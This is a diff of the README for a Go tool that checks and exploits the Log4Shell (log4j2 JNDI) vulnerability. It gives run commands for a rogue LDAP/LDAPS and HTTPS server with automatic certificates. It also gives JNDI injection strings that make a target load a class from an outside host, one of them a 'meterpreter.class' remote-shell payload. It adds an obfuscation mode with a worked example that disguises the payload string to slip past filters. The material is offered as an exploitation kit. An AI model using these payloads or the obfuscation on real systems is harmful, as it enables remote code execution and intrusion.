11# Log4Shell
2- * Check and exploit log4j2 vulnerability with single Go program.
2+ * Check, exploit, obfuscate, TLS, ACME in one Go program.
33 * You don't need to install anything except develop it.
4- * It supports ldaps and https server for other usage.
5-
6- ## Run
7- ``` Log4Shell.exe -host "VPS IP address" ```
84
5+ ## Usage
6+ ### Common
7+ * ``` Log4Shell.exe -host "1.1.1.1" ```
8+ * ``` Log4Shell.exe -host "example.com" ```
9+
10+ ### LDAPS and HTTPS server
11+ * ``` Log4Shell.exe -host "example.com" -tls-server -tls-cert "cert.pem" -tls-key "key.pem" ```
12+ * ``` Log4Shell.exe -host "1.1.1.1" -tls-server -tls-cert "cert.pem" -tls-key "key.pem" ``` (need IP SANs)
13+
14+ ### LDAPS and HTTPS server with ACME
15+ * ``` Log4Shell.exe -host "example.com" -auto-cert ``` (must use domain name)
16+
17+ ### Obfuscate malicious(payload) string
18+ ```
19+ Log4Shell.exe -obf "${jndi:ldap://1.1.1.1:3890/calc.class}"
20+
21+ raw: ${jndi:ldap://1.1.1.1:3890/calc.class}
22+ ${${lhnK:JFL3Nl:-j}n${Yx6-A3NuXSY1nI-g38C4MN-WAFx:-d}i:${2O:bO2I5l:-l}${yeZ6-mnrv6pb:gB49n:XrYMP:-d}${jVBMSs-iOFWslRG-XuNO
23+ :dsCO:-a}${jYYNn:Twh80-IYXK:-p:/}${eOFbh:DW35u2:-/1.}${EkFw3Z-YsM9CIMV8:g2DHZ:-1}${Vez8Sb:Mwn:-}${yWH0V-FY9jJQZ2:TOSkrotU:
24+ oq1i:-}${kZ:BoJpOxRH-yFI2POt-88w2:-.1}${xbswX-VstKzXnyNzi8:jeEQKB5WRH-Ob:-}${Uyhe0-aYuAh-MdR63to:GONgfM:-.}${eA:eCPgpV-NWF
25+ 7s:-}${mrLla-owJSvkD:n0cmdQ-V2cLx:-1:3}${CwG9:Hc:-}${xT:aiD7ho:xz:-8}90${NTSL-dSfw9NC:7OiGEp:gMQwko:-}/${TCpW:UhZI0IO8:9Jz
26+ 5MH:WyM:-c}${Mlv:AS8TOFMM-b9I2:FqvBY:-al}${mfGW:EY1Yd48:E0KhRGfp:5CBsuC:-c}${xDw1-ZyHav9K:jPHo18i:zibmI:-.}c${ye-kZjRa5g61
27+ cm-Hn2yR7:-la}${Htg:cySA:-s}s}
28+ ```
29+
930## Check
10- * run the Log4Shell server
11- * send ``` ${jndi:ldap://127.0.0.1:3890/nop.class} ```
31+ * start Log4Shell server
32+ * put your class file to the payload directory
33+ * send ``` ${jndi:ldap://1.1.1.1:3890/nop.class} ```
34+ * send ``` ${jndi:ldaps://example.com:3890/nop.class} ``` with TLS
1235
1336## Exploit
14- * run the Log4Shell server
37+ * start Log4Shell server
1538 * put your class file to the payload directory
16- * send ``` ${jndi:ldap://127.0.0.1:3890/meterpreter.class} ```
17- * will open source after some time
39+ * send ``` ${jndi:ldap://1.1.1.1:3890/meterpreter.class} ```
40+ * send ``` ${jndi:ldaps://example.com:3890/meterpreter.class} ``` with TLS
41+ * meterpreter will open source after some time
1842
1943## VulApp
2044 * VulApp is a vulnerable Java program that use log4j2 package.
2347
2448## Help
2549 ```
26-
2750 ::: :::::::: :::::::: ::: :::::::: ::: ::: :::::::::: ::: :::
2851 :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
2952 +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
3558 https://github.com/For-ACGN/Log4Shell
3659
3760Usage of Log4Shell.exe:
61+ -auto-cert
62+ use ACME client to sign certificate
3863 -host string
3964 server IP address or domain name (default "127.0.0.1")
4065 -http-addr string
@@ -45,6 +70,8 @@ Usage of Log4Shell.exe:
4570 ldap server address (default ":3890")
4671 -ldap-net string
4772 ldap server network (default "tcp")
73+ -obf string
74+ obfuscate malicious(payload) string
4875 -payload string
4976 payload(java class) directory (default "payload")
5077 -tls-cert string
0 commit comments